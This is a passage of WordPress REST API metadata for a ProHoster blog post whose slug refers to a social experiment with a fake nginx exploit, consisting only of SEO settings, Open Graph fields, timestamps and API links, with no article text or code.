ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:02:28+00:00","article:modified_time":"2019-10-31T19:02:28+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"35126","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-21 21:57:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 22:59:48","updated":"2026-01-21 21:57:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/posts\/35126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/comments?post=35126"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/posts\/35126\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/media\/26410"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/media?parent=35126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/categories?post=35126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sl\/wp-json\/wp\/v2\/tags?post=35126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}